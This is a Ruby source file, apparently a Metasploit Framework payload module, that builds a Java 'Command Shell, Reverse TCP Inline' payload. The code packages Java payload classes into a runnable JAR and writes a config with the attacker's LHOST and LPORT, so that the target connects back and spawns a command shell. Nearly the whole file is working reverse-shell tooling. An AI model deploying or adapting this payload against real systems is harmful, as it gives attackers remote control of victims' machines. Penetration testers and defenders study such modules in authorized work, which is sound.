77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Java
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Java Command Shell, Reverse TCP Inline',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => [
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'mihi', # all the hard work
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'egypt' # msf integration
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],
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'License' => MSF_LICENSE,
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'Platform' => [ 'java' ],
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'Arch' => ARCH_JAVA,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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@class_files = [
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[ "metasploit", "Payload.class" ],
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[ "javapayload", "stage", "Stage.class" ],
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[ "javapayload", "stage", "StreamForwarder.class" ],
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[ "javapayload", "stage", "Shell.class" ],
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]
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end
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def generate_jar(opts={})
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jar = Rex::Zip::Jar.new
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jar.add_sub("metasploit") if opts[:random]
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@class_files.each do |path|
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1.upto(path.length - 1) do |idx|
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full = path[0,idx].join("/") + "/"
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if !(jar.entries.map{|e|e.name}.include?(full))
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jar.add_file(full, '')
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end
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end
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fd = File.open(File.join( Msf::Config.data_directory, "java", path ), "rb")
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data = fd.read(fd.stat.size)
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jar.add_file(path.join("/"), data)
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fd.close
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end
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jar.build_manifest(:main_class => "metasploit.Payload")
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jar.add_file("metasploit.dat", config)
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jar
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end
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def config
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c = ""
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c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
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c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
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# Magical, means use stdin/stdout. Used for debugging
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#c << "LPORT=0\n"
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c << "EmbeddedStage=Shell\n"
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c
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end
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end
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